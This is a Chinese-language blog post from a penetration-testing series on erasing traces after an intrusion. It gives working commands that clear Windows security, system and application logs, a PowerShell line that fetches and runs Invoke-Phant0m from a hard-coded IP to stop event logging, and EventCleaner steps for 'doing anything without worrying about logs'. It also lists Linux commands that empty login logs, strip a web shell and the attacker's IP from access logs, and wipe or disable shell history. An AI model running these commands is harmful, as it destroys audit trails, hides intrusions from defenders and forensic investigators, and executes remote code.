痕迹擦除

发布于 2021-08-11  7812 次阅读


《渗透测试》目录

一、痕迹清除简介

在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对Windows日志进行清除和绕过。


二、Windows痕迹清除

1.Windows日志

(1)如何查看:

  • 事件查看器 -> windows日志
  • win+r eventvwr.msc

(2)保存路径:

  • C:\Windows\System32\winevt\Logs\
  • %systemroot%\System32\winevt\Logs\

(3)包括五个类别:应用程序、安全、Setup、系统、转发事件

powershell -c "Get-WinEvent -FilterHashtable @{logname='Application';}"        (Application可换为system、setup、security)

<1>系统日志:System

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。

<2>应用程序日志:Application

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。

<3>安全日志:Security

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。

2.Windows日志清理

wevtutil.exe:用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出、存档和清除日志。

wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl "windows powershell"

3.meterpreter清理日志

  • 删除所有在渗透过程中使用的工具
  • 删除之前添加的账号:net user username /del
  • 删除应用程序、系统和安全日志:clearev #分别清除了应用程序,系统和安全模块的日志记录。
  • 关闭所有的Meterpreter连接:sessions –K
  • 查看事件日志:run event_manager -i
  • 删除事件日志:run event_manager -c

4.停止日志记录

利用脚本让日志功能失效,无法记录日志。

powershell "IEX(new-object system.net.webclient).downloadstring('http://8.131.57.209:8000/Invoke Phant0m.ps1');Invoke-Phant0m"

把eventlog对应的svchost进程结束,重新开启Windows Event Log服务,即可恢复日志记录。

5.EventCleaner

https://github.com/QAX-A-Team/EventCleaner

  1. EventCleaner closehandle                (关闭句柄)
  2. EventCleaner 100                             (删除指定时间id的日志)
  3. EventCleaner suspend                      (关闭日志记录所有线程)
  4. do anything without worrying about logs            (进行任意操作)
  5. EventCleaner normal                        (恢复日志记录)
  6. delete EventCleaner                          (删除程序)
  • EventCleaner suspend:暂停日志线程,停止日志记录
  • EventCleaner normal:恢复日志线程
  • EventCleaner closehandle:解除 security.evtx文件占用
  • EventCleaner 100:删除 event record id 为 100 的日志

三、Linux痕迹清除

1.登录日志(二进制文件,只能通过命令查询)

ssh远程登录会产生登录日志

     命令            日志文件                        描述
     last            /var/log/wtmp              所有成功登录/登出的历史记录
     lastb           /var/log/btmp              登录失败尝试记录
     lastlog         /var/log/lastlog           最近登录记录
     w,who           /var/run/utmp              记录当前登录的每个用户的信息,它只保留当时连接的用户记录,不会为用户保留永久的记录

命令的输出包括:登录名,上次登录时间,IP地址,端口等。

2.登录日志清理

last等日志是二进制文件,无法直接修改。所以清除的最简单方式是清空日志文件本身。        

清空lastb对应的/var/log/btmp文件需要root权限(通过重定向)

  • > /var/log/wtmp
  • > /var/log/btmp
  • > /var/log/lastlog

3.WEB日志

  • /var/log/httpd/access.log
  • /var/log/nginx/access.log
  • ……

4.WEB日志清理

删除所有包含shell.php这个字符串的行:
cat /var/log/nginx/access.log | grep -v shell.php > /tmp/a.log
cat /tmp/a.log > /var/log/nginx/access.log
删除包含123.123.123.123这个字符串(我们自己的IP)的行:
sed -i -e '/shell.php/d' /var/log/httpd/access.log
sed -i -e '/123\.123\.123\.123/d' /var/log/httpd/access.log

5.定时任务日志

 /var/log/cron:记录了系统定时任务相关的日志

6.secure日志

/var/log/secure:记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中。

7.操作历史记录

history:显示历史记录
~/.bash_history:历史记录文件

删除全部历史记录:history –w && history –c && > .bash_history
删除指定行的历史记录:history -d 111
备份还原历史记录:cp .bash_history his.txt
删除100行以后的历史记录:sed -i "100,$d" .bash_history

8.隐藏历史记录

开启无痕模式,禁用命令历史记录功能:
set +o history

恢复:
set -o history

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。